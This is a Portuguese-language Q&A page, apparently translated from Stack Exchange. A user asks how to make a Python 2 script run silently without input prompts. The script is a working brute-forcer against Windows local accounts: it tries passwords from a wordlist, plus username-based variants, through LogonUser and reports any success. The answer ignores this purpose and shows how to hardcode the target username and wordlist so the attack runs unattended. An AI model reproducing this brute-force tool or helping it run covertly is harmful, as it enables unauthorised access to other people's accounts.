Como executar silenciosamente um arquivo em lote com o Python sem que os prompts apareçam?

1

Problema

Quando executo meu script python no exemplo abaixo:

c:/python
tool.py

Quando eu executo isso, ele me pede para digitar o nome de usuário manualmente na verificação e, em seguida, pedir que eu digite o nome do arquivo manualmente contendo as outras informações necessárias.

Pergunta

Eu tenho outra solução de outro post como executar este processo invisível, mas ele ainda está me solicitando esses valores quando executado, e gostaria que ele fosse executado sem solicitar esses valores.

Script Python

def verify_success(username, password):
    from win32security import LogonUser
    from win32con import LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT
    if password == 'BLANK':
        try:
            password = ""
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            if "blank passwords" in str(e):
                return True
            else:
                return False
    else:
        try:
            LogonUser(username, None, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT)
            return True
        except Exception, e:
            return False


u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

pwds = open(fis,'rU')
passwds = pwds.readlines()

for password in passwds:

    if password.rstrip() == "%user%":
        password = u.rstrip()
    if password.rstrip() == "%user%1":
        password = u.rstrip()+'1'
    if password.rstrip() == "%user%12":
        password = u.rstrip()+'12'
    if password.rstrip() == "%user%123":
        password = u.rstrip()+'123'

    if verify_success(u, password.rstrip()):
        print 'SUCCESS: => USERNAME: '+u+' '+'PASSWORD: '+password.rstrip()
        break
    else:
        print '[+]Trying: '+u+' '+password.rstrip()
    
por Muntean Cosmin 16.08.2016 / 09:38

1 resposta

1

A razão

O script Python usa raw_input funções, portanto, ele solicitará o que definir esses valores de variáveis.

raw_input([prompt])

If the prompt argument is present, it is written to standard output without a trailing newline. The function then reads a line from input, converts it to a string (stripping a trailing newline), and returns that. When EOF is read, EOFError is raised.

     

fonte

A correção

Para resolver esse problema, basta alterar essa parte da lógica para usar variáveis e definir os valores para ser o que eles precisam ser.

Variables

A variable is something that holds a value that may change. In simplest terms, a variable is just a box that you can put stuff in. You can use variables to store all kinds of stuff, but for now, we are just going to look at storing numbers in variables.

lucky = 7 
print (lucky) 
7

source

Alterações explicadas

Em seu script python, você desejará alterar a lógica antiga para parecer com a nova lógica . Isso impedirá que o prompt seja exibido quando você inserir esses valores interativamente.

Você só precisa garantir que os valores <username> e <file.txt> sejam os que você precisa que sejam estaticamente. Depois de fazer essas alterações, o aviso deve cessar.

Lógica Antiga (para remover)

u = raw_input('Enter the username you want to brute: ')
fis = raw_input('Enter the password_list file: ')

Nova lógica (para incluir)

u = "<username>"
fis = "<file.txt>"

Mais recursos

por 18.08.2016 / 23:51

Tags